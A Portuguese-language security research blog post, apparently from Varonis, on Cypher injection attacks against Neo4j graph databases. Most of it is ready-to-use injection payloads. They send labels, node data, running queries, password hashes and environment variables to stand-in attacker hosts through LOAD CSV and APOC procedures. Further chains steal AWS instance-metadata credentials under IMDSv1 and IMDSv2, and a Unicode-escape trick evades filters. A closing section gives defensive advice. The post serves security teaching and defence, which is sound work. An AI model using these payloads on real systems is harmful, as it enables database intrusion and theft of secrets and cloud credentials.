Varonis debuts trailblazing features for securing Salesforce. Learn More

Apresentamos a automação de privilégios mínimos para Microsoft 365, Google Drive e Box

Saiba Mais

Neo4jection: segredos, dados e exploit na nuvem

Com o aumento contínuo de bancos de dados gráficos, como o Neo4j, estamos vendo um aumento nos debates entre pesquisadores de segurança sobre os problemas encontrados nesses bancos de dados.
Nitay Bachrach
15 minuto de leitura
Ultima atualização 5 de Abril de 2023
Neo4jection: segredos, dados e exploit na nuvem

Com o aumento contínuo de bancos de dados gráficos, como o Neo4j, estamos vendo um aumento nos debates entre pesquisadores de segurança sobre os problemas encontrados nesses bancos de dados. No entanto, devido à nossa experiência com bancos de dados gráficos, desde o projeto de soluções complexas e escaláveis com bancos de dados gráficos até o ataque a eles, notamos uma lacuna entre as conversas públicas e o conhecimento de nossos pesquisadores de segurança sobre esses sistemas. 

Neste artigo, iremos fornecer uma demonstração abrangente, técnica e orientada para a segurança das diferentes técnicas de ataque e evasão que usamos ao longo dos anos em cenários do mundo real. Nosso objetivo é ajudar a melhorar a segurança geral desse armazenamento de dados amplamente usado e dos aplicativos que dependem dele. 

Cypher

Cypher é a linguagem de consulta gráfica do Neo4j que permite recuperar dados do gráfico. Ele usa “um tipo de sintaxe de arte ASCII”, no qual colchetes são utilizados para representar nós e parêntesis representam relacionamentos. Se isso soa familiar, é porque foi inspirado no SQL (de acordo com o Neo4j). 

MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director) 

RETURN a, m, d

Ao contrário do SQL, o Cypher oferece suporte a parâmetros no nível do protocolo. Mas há restrições aos parâmetros. Por exemplo, labels – que são as tags usadas para classificar nós e relacionamentos (Actor, actin, Movie, Director e directBy no nosso exemplo acima – não podem ser parâmetros, mesmo que sejam dinâmicos. 

Filtrar dados

Como o SQL, pode-se filtrar dados usando WHERE. Por exemplo: 

MATCH (a: Actor)-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director) 

WHERE a.name = 'Olivia Colman' 

RETURN a, m, d 

Mas há outra maneira muito comum de filtrar os resultados na própria instrução MATCH: 

MATCH (a: Actor {name:‘Olivia Colman'})-[:actedIn]->(m: Movie)<-[:directedBy]-(d:Director) 

RETURN a, m, d 

A principal diferença é que o WHERE é muito mais versátil e suporta lógicas avançadas, como OR, IN, RegExes e outras. 

Union

O Cypher, também, oferece suporte a instruções UNION, que permitem concatenar os resultados de diferentes consultas, desde que tenham as mesmas colunas. A forma como os dados são recuperados não importa, desde que as colunas tenham os mesmos nomes: 

MATCH (a: Actor) RETURN a.name UNION RETURN 'some name' as name 

Avançado

O Cyphers suporta lógica mais avançada na forma de procedimentos e funções. 

Procedimentos – gerar dados. Usando apenas uma instrução “CALL”. Por exemplo, liste todos os rótulos 

Funções – manipular dados. Por exemplo, determine o comprimento de uma lista. Ao contrário dos procedimentos, eles retornam um único valor. Pode ser usado em qualquer lugar onde expressões são permitidas, como declarações WITH, WHERE e RETURN. 

CALL db.labels() YIELD label RETURN label 
WITH [1,2,3] as l RETURN size(l) 

Parâmetros

O Neo4j oferece suporte ao fornecimento de parâmetros para consultas, isso permite que os desenvolvedores passem a entrada com segurança, separadamente da consulta, portanto, as injeções não são possíveis. 

Os parâmetros são passados ao servidor pelo cliente separadamente da própria consulta e podem ter diferentes tipos de valor, como string, list, int, bool ou map. 

Na consulta, os parâmetros são referidos usando o cifrão ($). 

Os parâmetros são uma ótima maneira de os desenvolvedores evitarem injeções, mas há limitações. Por exemplo, eles não podem ser usados para denotar rótulos ou nomes de campo. 

Injeções

Como injetar

As injeções podem ser encontradas em qualquer lugar na consulta, e as instruções MATCH e WHERE são cenários comuns. 

Quanto encontramos uma injeção, a forma de explorá-la depende do local dentro da consulta. Abaixo destacamos uma tabela de diferentes locais de injeção e exemplos de exploração: 

Injectable query Injection
MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //
MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values]
'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

Observe a declaração UNION: 

  1. O motivo pelo qual UNION é necessário é que, se a instrução MATCH não retornar nada, o restante da consulta não será executado. Portanto, tudo o que é possível fazer lá simplesmente não será executado. 
  1. Adiconamos RETURN 1 antes de UNION para que ambas as partes retornem as mesmas colunas, o que é necessário para a execução da consulta. 

Então, o que há com a declaração WITH? 

Usando WITH, podemos descartar todas as variáveis existentes. Isso é importante quando não sabemos qual é a consulta (mais sobre isso depois). Se nossa carga acidentalmente tentar definir uma variável que já existe, a execução da consulta falhará. 

Naturalmente, se conhecermos a consulta e o banco de dados, nenhuma dessas técnicas será necessária. Podemos até manipular os dados retornados para, por sua vez, manipularmos o processo em vez apenas de abusar do servidor. 

Pós-exploração

HTTP LOAD CSV

Apesar de mencionado em outros artigos, sempre vale a pena lembrar, LOAD CSV tenta carregar um csv do sistema de arquivos ou da web. O acesso ao sistema de arquivos geralmente é restrito, a menos que as restrições tenham sido explicitamente levantadas no arquivo de configuração (o que é improvável que seja o caso) 

Mas um invasor pode usar a funcionalidade da Web para exfiltrar dados. Se a consulta for: 

MATCH (o) WHEREo.Id='{input}' RETURN o  

Então o atacante pode injetar a seguinte string: 

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

Isso enviará todos os procedimentos instalados no banco de dados para o servidor do invasor. 

APOC

O APOC (Awesome Procedures on Cypher) é um plug-in extremamente popular e com suporte oficial para Neo4j e que aprimora muito seus recursos. E a primeira coisa que um invasor irá verificar é se o APOC está instalado. Como ele adiciona muitas funções e procedimentos adicionais que os desenvolvedores podem usar em seu ambiente, isso significa mais poder para o desenvolvedor, mas também entrega mais poder para o invasor. Com isso, invasores podem usar os vários procedimentos e funções que o APOC oferece para realizar ataques mais avançados. 

O APOC oferece funções que podem ser úteis para injeções. Essas funções podem serializar e codificar dados, facilitando muito a exfiltração de conteúdo confidencial. 

apoc.convert.toJson – converte nós, mapas e muito mais em JSON
apoc.text.base64Encode – obtém uma string e a codifica como base64 

Muito mais interessantes são os procedimentos que o APOC oferece. Eles são um divisor de águas para os invasores. HTTP: 

apoc.load.jsonParams 

apoc.load.csvParams 

Vamos discutir mais sobre isso adiante no artigo. 

Além disso, são interessantes os procedimentos e funções que permitem avaliar as consultas, entre eles: 

  • cypher.runFirstColumnMany — função que retorna os valores da primeira coluna como uma lista 
  • cypher.runFirstColumnSingle — função que retorna o primeiro valor da primeira coluna 
  • cypher.run — procedimento que executa uma consulta e retorna os resultados como um mapa 
  • cypher.runMany — procedimento que executa uma consulta ou várias consultas separadas por ponto e vírgula e retorna os resultados como um mapa. As consultas são executadas em uma transação diferente 

Usando os procedimentos load. *params, um invasor pode especificar cabeçalhos, solicitar dados e usar métodos diferentes de GET 

apoc.load.jsonParams

Arguments:
Nome Tipo Exemplo Necessário
urlOrKeyorBinary Any "http://attacker.com/json" Sim
headers Map or null { method: "POST", `Authorization`:"BEARER " + hacked_token} Sim
payload String or null Data Sim
path String or null Data Não
config Map or null Null Não
  • urlOrKeyORBinary – Normalmente queremos uma URL, mas também é possível especificar os dados binários de um JSON.
  • headers – Exceto para cabeçalhos http, também podemos usar este campo para especificar o método. Importante! No momento em que este artigo é escrito, se quisermos emitir uma solicitação get, não devemos especificar um método. ‘método’: GET não funcionará devido a um bug na implementação
  • payload – Se quisermos enviar uma solicitação GET, isso deve ser nulo
  • path – Se quisermos apenas um valor específico na respsta JSON do endpoint invocado, podemos usar isso como argumento para recuperar apenas o valor desse campo
  • Config – Parâmetros de configuração adicionais para a consulta. Por exemplo, podemos dizer ao APOC que os dados recuperados são compactados da seguinte forma: {compression: 'DEFLTA'} 

Valores de retorno:

Name Description Type Example
value The parsed JSON MAP {"Hello": "World"}

apoc.load.csvParams

Note: in Neo4j 5, este procedimento foi movido para o APOC estendido 

Arguments:

Name Type Example Is Required
urlOrKeyorBinary Any "http://attacker.com/json" Yes
headers Map or null { method: "POST", `Authorization`:"BEARER " + hacked_token} Yes
payload String or null Data Yes
config Map or null {header: FALSE} No
  • urlOrKeyORBinary – geralmente queremos uma URL, mas também é possível especificar os dados binários de um csv 
  • headers – exceto para cabeçalhos http, também podemos usar este campo para especificar o método.

    Importante! Se quiser uma solicitação GET, NÃO DEVEMOS especificar um método. ‘método’: GET não funcionará devido a um bug na implementação
     
  • payload – Se quisermos enviar uma solicitação GET, isso deve ser nulo 
  • config – Podemos usar config, por exemplo, para dizer ao APOC que os dados estão compactados. Por exemplo:

    {compression: ‘DEFLTA'}
     

Também podemos usar config para alterar o delimitador, as aspas, o caractere de escape, o separador de matriz, pular linhas ou se o CSV tem um alinha de cabeçalho ou não. 

Valores de retorno:

Name Description Type Example
lineNo The line number of the value Integer 0
list List of values in a row List⟨string⟩ ["a","b","c"]
map If headers are present, map will map the header with the value Map {"A: "a"}

Exemplos:

CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value 

CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list 

Extraindo dados do Neo4J

Existem muitas funções internas e o APOC que podem nos ajudar a obter informações sobre o banco de dados. 

Obter rótulos

Usando o método interno db.labels, é possível listar todos os rótulos existentes. 

Argurmentos: Nenhum
Valores de retorno: 

Name Description Type Example
label Names of the labels Rows of strings Actor
Movie

Exemplo de injeção: 

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0 

Obtenha as propriedades de um nó e seus valores. 

As teclas de função integradas podem ser usadas para listar as chaves das propriedades 

Argumentos:

  • Um nó ou um mapa 

Valor de retorno: 

  • As chaves do nó/mapa 

É possível recuperar o valor de uma propriedade do nós se você tratá-lo como um mapa: n[key], para que possamos usar LOAD CSV para exfiltrar os dados. Certifique-se de usar toString 

Exemplo de injeção: 

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // 

AVISO: Isso não funcionará se um dos campos for uma lista ou um mapa. 

Se o APOC estiver disponível, há uma maneira melhor de fazer isso usando o apoc.convert.toJson 

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 // 

Argumentos: Qualquer coisa 

Valor de retorno: 

  • String — the JSON representation of the input
'}) RETURN 0 as _0 UNION MATCH (f:Flag)  LOAD CSV FROM 'http://10.0.2.4:8000/?json='+apoc.convert.toJson(f) as l RETURN 0 as _0 // 

Obtenha a versão do servidor

Uma maneira de obter a versão do servidor é usar o procedimento dbms.components() 

Argumento: nenhum 

Valor de retorno: 

Name Description Type Example
name The name of the component String Neo4j Kernel
versions A list of versions List⟨String⟩ [“4.4.10”]
edition The component's edition String community

Exemplo de injeção: 

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

Obter a consulta em execução

Neo4j 4

Existem várias maneiras de obter a consulta em execução. O mais fácil é usar o procedimento dmbs.listQueries() 

Argumento: nenhum 

Valores de retorno: Muitos, entre eles: 

Name Description Type Example
query The query itself String MATCH (o) RETURN o
username The name of the user that has executed the query String Neo4j_user
parameters The parameters with which the query is running Map main
database The name of the database String Neo4j

Exemplo de injeção: 

' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 // 

Neo4J 5

Dbms.listQueries foi removido. Em vez disso, podemos usar SHOW TRANSACTIONS. Existem duas limitações principais: 

Consultas SHOW não são injetáveis

Ao contrário de listQueries, podemos ver apenas a consulta atualmente executada na transação e não todas elas. 

Se o núcleo APOC estiver instalado, podemos usá-lo para executar SHOW TRANSACTIONS. Se executarmos na mesma transação, apenas SHOW TRANSACTIONS será retornado em vez da consulta que estamos tentando ver. Podemos usar apoc.cypher.runMany para executar SHOW TRANSACTIONS, por que, ao contrário de outras funções e procedimentos de apoc.cypher, ele é executado em uma transação diferente. 

' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1// 

Listar todas as funções e métodos

Neo4j 4

Usando os procedimentos embutidos dbms.functions() e dbms.procedures() é possível listar todas as funções e procedimentos. 

Ambos não obtêm parâmetros e compartilha os seguintes valores de retorno: 

Name Description Type Example
name The name of the function or procedure String abs
signature The signature — how to call it and return values String "abs(input :: INTEGER?) :: (INTEGER?)"
description Describes what the function/procedure does String "Returns the absolute value of an integer."

Existem outros valores de retorno que são menos relevantes para este artigo. 

Exemplo de injeção: 

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

Neo4j 5

Esses procedimentos foram removidos no Neo4j 5 e já eram considerados obsoletos (mas funcionavam) no Neo4j 4. 

Em vez disso, podemos usar SHOW PROCEDURES e SHOW FUNCTIONS. 

Mostrar consultas que não podem ser injetadas

Se o núcleo APOC estiver instalado, podemos usar qualquer um dos procedimentos ou funções que executam consultas para listar funções e procedimentos. 

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value 

 LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 // 

Obter banco de dados do sistema (incluindo hashes de senha)

O banco de dados do sistema é um banco de dados Neo4j especial que normalmente não pode ser consultado. Ele contém dados interessantes armazenados como nós: 

  • Bancos de dados 
  • Funções 
  • Usuários (incluindo o hasj da senha!) 

Usando o APOC, é possível  recuperar os nós, incluindo os hashes. Somente administradores podem fazer isso, mas na edição gratuita do Neo4j há apenas um administrador e nenhum outro usuário, então não é incomum encontrar-se executando como administrador. 

Use o procedimento apoc.systemdb.graph() para recuperar os dados. 

Argumentos: Nenhum 

Valores de retorno: 

Name Type Description
Nodes List⟨Node⟩ The nodes in the database
Relationships List⟨Relationship⟩ The relationships in the database

O Neo4j funciona de maneira inesperada com esses nós: se você apenas retornar os nós, poderá ver seus dados. Mas se tentar obter um campo específico, isso não funcionará. Isso porque o Neo4j irá procurar a ID do nó e retornará o campo do nó com o mesmo |I|D no banco de dados atual. 

Uma solução é usar a função apoc.convert.toJson(), que obtém qualquer entrada e a converte em JSON. 

Exemplo de injeção: 

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //  

Observações: No Neo4j 5, os procedimentos foram movidos para APCO estendido. 

O hash

O Neo4j usa SimpleHash do Apache Shiro para gerar o hash. 

Abaixo está um pseudo-código (AKA python) do processo de hash: 

def hash(password, salt, iterations): 

    data = salt+password 

    for i in range(iterations): 

        m = sha256() 

        m.update(data) 

        data = m.digest() 

    return hexlify(data) 

O resultado é armazenado como uma string de valores separados por vírgula: 

  1. Algoritmo Hash 
  1. Hash 
  1. Salt 
  1. Interações 

Por exemplo: 

SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024 

Que significa: 

  1. O algoritmo has é SHA256 
  1. O hash em si é 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c 
  1. O salt é a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270 
  1. O número de iterações é 1024 (que é o padrão para Neo4j) 

A senha, alias, é “Neo4j”. Não use esta senha. 

Variáveis ambientais

Frequentemente, desenvolvedores e engenheiros de DevOps usam  variáveis de ambiente para armazenar segredos, fato que os torna um alvo interessante. Além disso, um red-teamer pode aprender muito sobre o alvo a partir da variável de ambiente, que pode conter informações cruciais para o movimento lateral na rede da vítima. 

Usando APOC, é possível recuperar a variável de ambiente por meio do procedimento apoc.config.map() ou apoc.config.list(). 

Esses procedimentos só podem ser usados se estiverem incluídos na lista de procedimentos irrestritos no arquivo conf (dbms.sexcurity.procedures.unrestricted). Isso é mais comum do que se imagina, e pesquisar no Google o nome da configuração resulta em muitos sites e guias que aconselham a adicionar o valor “apoc.*”, que permite todos os procedimentos APOC. 

Eles retornam a configuração do servidor, incluindo java e o sistema operacional, o que é interessante, claro, mas também retornam as variáveis de ambiente. 

Os dois procedimentos são bastante semelhantes. A diferença é o valor de retorno. 

Argumento: Nenhum 

Valores de retorno: 

apoc.config.list

Name Type Description
key Rows of strings The name of the configuration value or env var
value Rows of strings The value of the configuration value or env var

apoc.config.map

Name Type Description
map Map A key-value map

Exemplo de injeção: 

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 // 

Nota: no Neo4j 5 os procedimentos foram movidos para APOC estendido. 

Movimento lateral na nuvem

Em provedores de nuvem como AWS, GCP e Azure, as máquinas virtuais possuem um servidor de metadados que pode fornecer credenciais para a nuvem. 

AWS

No AWS, o endereço do servidor de metadados é 169.254.169.254. Há muita informação lá, mas estamos focados em credenciais. Se a instância tiver um perfil de instância, que por sua vez tem uma função, então podemos obter suas credenciais. 

São necessários três valores: 

  • AWS_ACCESS_KEY_ID 
  • AWS_SECRET_ACCESS_KEY 
  • AWS_SESSION_TOKEN 

Precisamos definir esses valores como variáveis de ambientes ou colocá-los em um perfil de arquivo .aws/credencials e, em seguida, usar AWS CLI. Por exemplo: 

> aws sts get-caller-identity 

Ou

> aws s3 list 

As ferramentas de exploração da AWS, como Pacu, também podem usar essas credenciais. 

A AWS tem dois modes de servidor de metadados: IMDSv1 e IMDSv2. O IMDSv2 é a versão mais segura, mas a configuração padrão é que ambas as versões estejam ativas. 

IMDSv1

Esta é a versão mais simples, menos segura, mas muito comum. 

Como invasor, tudo o que você precis fazer é enviar um GET para a seguinte URL: 

http://169.254.169.254/latest/meta-data/iam/security-credentials/ 

A resposta é tecnicamente uma lista de funções, embora normalmente haja apenas uma função atribuída. Depois de conhecer a função, envie um GET para a seguinte URL: 

http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} 

Embora o formato seja JSON, também podemos usar LOAD CSV para fazer a requisição: 

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l  

O resultado deve ficar assim: 

[{"l":["{"]},{"l":["  \"Code\" : \"Success\"",null]},{"l":["  \"LastUpdated\" : \"2022-08-07T06:23:25Z\"",null]},{"l":["  \"Type\" : \"AWS-HMAC\"",null]},{"l":["  \"AccessKeyId\" : \"ASIAX****WZ\"",null]},{"l":["  \"SecretAccessKey\" : \"xKdQRduW****\"",null]},{"l":["  \"Token\" : \"IQoJb3JpZ2luX2Vj********a==\"",null]} 

Conhecemos o tamanho e a estrutura da resposta, então podemos exfiltrar tudo: 

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
  
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _ 

Isso enviará ao nosso servidor uma solicitação que contém primeiro a chave, depois o segredo da chave de acesso e, eventualmente, o token de acesso. 

IMDSv2

É a versão mais segura, projetada para proteger o servidor de metadados de simples falsificações de solicitação do lado do servidor (SSRFs). 

Para usar o servidor de metadados, o invasor primeiro precisa enviar um PUSH para a seguinte URL: 

http://169.254.169.254/latest/api/token 

O servidor retornará um token que devemos colocar nas chamadas subsequentes ao servidor de metadados no cabeçalho: X-aws-ec2-metadata-token. 

Isso levanta dois problemas: precisamos especificar cabeçalhos e usar métodos diferentes de GET. 

LOAD CSV não pode fazer nenhuma dessas coisas, mas podemos usar apoc.load.csvParams para obter o token e a função e, em seguida, apoc.load.jsonParams para obter as próprias credenciais. O motivo pelo qual usamo csvParams é que a resposta não é um JSON válido. 

Para obter o token: 

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token RETURN token 

Para obter a função e as credenciais: 

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token 

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role  

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value 

Observação: as duas últimas solicitação são GET. Para disparar com sucesso uma solicitação GET usando apoc.load.*Params, não devemos especificar um método. 

Observação: o procedimento apoc.load.cvsParams foi movido para APOC estendido no Neo4j 5. 

Comandos de chamada

É possível chamar comandos AWS diretamente na instância Neo4j. 

A AWS usa uma API baseada em XML para executar comandos e recuperar informações. Embora não haja apoc.load.xmlParams, é possível usar apoc.load.csvParams para recuperar XMLs. Ao alterar todos os caracteres especiais para caracteres binários que nunca aparecerão em um xml válido, podemos especificar cabeçalhos e o método e recuperar XMLs. 

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list 

Truques

Injeção de Unicode


^No Neo4j >= v4.2.0, muitas vezes é possível injetar Unicode usando “/uXXXX”. Por exemplo, você pode usar este método se o servidor tentar remover caracters como ‘, “, ` e assim por diante. 

Isso pode não funcionar se uma letra seguir a sequência de escape Unicode. É seguro adicionar um espaço depois ou outra anotação Unicode. 

Isso geralmente é útil quando há um WAF. Mas há outros casos em que esse recursos possibilita a exploração. Por exemplo, se o servidor remove as aspas simples e a consulta aparece da seguinte forma: 

MATCH (a: {name: '$INPUT'}) RETURN a 

É possível injetar: 

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o // 

Proteja seus dados 

  • Proteja seu código – sempre use parâmetros se possível. Se isso não for uma opção, certifique-se de higienizar a entrada do usuário 
  • Certifique-se de que seu Neo4j esteja configurdo para permitir apenas procedimentos e funções que você precisa e usa. Use a configuração dbms.security.procedures.allowlist e especifique os procesimentos que deseja permitir 
  • Em versões mais antigas (até Neo4j 4.1) é chamado dbms.security. procedures.whitelist 
  • Se você trabalha com o AWS, certifique-se de usar IMDSv2 
  • Respeite sempre o princípio do menor privilégio. Apenas conceda ao servidor as permissões necessárias para o seu trabalho. A máquina não deve ter outras permissões 

Concluindo

O Neo4j é uma ferramenta poderosa, usada e amada por desenvolvedores e especialistas em segurança. Como todas as ferramentas poderosas, já riscos a serem considerados ao usar a ferramenta, riscos que a maioria das pessoas não conhece ou entende. Esperamos que este artigo tenha ajudado a educá-lo sobre as diferentes maneiras pelas quais um invasor pode abusar do Neo4J, para que riscos sejam mitigados. Também esperamos que este artigo ajude especialistas em segurança a melhorar a segurança de sistemas e aplicativos que avaliam. 

O que você deve fazer agora

Citamos estão algumas maneiras pelas quais podemos ajudá-lo a começar a jornada para reduzir o risco de dados da sua empresa. 

Agende uma sessão de demonstração conosco, iremos tirar todas as suas dúvidas e ajudá-lo  a ver se a Varonis é adequada para suas necessidades. 

Baixe nosso relatório gratuito e conheça os riscos associados à exposição de dados SaaS. 

What you should do now

Below are three ways we can help you begin your journey to reducing data risk at your company:

  1. Schedule a demo session with us, where we can show you around, answer your questions, and help you see if Varonis is right for you.
  2. Download our free report and learn the risks associated with SaaS data exposure.
  3. Share this blog post with someone you know who'd enjoy reading it. Share it with them via email, LinkedIn, Reddit, or Facebook.
Try Varonis free.
Get a detailed data risk report based on your company’s data.
Deploys in minutes.
Keep reading
o-que-é-uma-avaliação-de-risco-de-dados-e-por-que-você-deve-fazer
O que é uma avaliação de risco de dados e por que você deve fazer
A avaliação de risco dados é essencial para saber onde os dados estão armazenados, quem os utiliza e se estão em segurança 
dspm-x-cspm:-unindo-dados-e-segurança-na-nuvem-com-a-varonis
DSPM x CSPM: unindo dados e segurança na nuvem com a Varonis
Soluções DSPM e CSPM são fundamentais para que as organizações garantam que sua infraestrutura na nuvem e dados estejam seguros 
certificação-do-modelo-de-maturação-da-segurança-cibernética-2.0-(cmmc-2.0)
Certificação do modelo de maturação da segurança cibernética 2.0 (CMMC 2.0)
O DoD está implementando o programa de Certificação do Modelo de Maturidade de Segurança Cibernética 2.0 
ameaças-internas:-3-maneiras-pelas-quais-a-varonis-ajuda-você
Ameaças internas: 3 maneiras pelas quais a Varonis ajuda você
Ameaças internas são difíceis de combater por que os insiders podem navegar em dados confidenciais sem serem detectados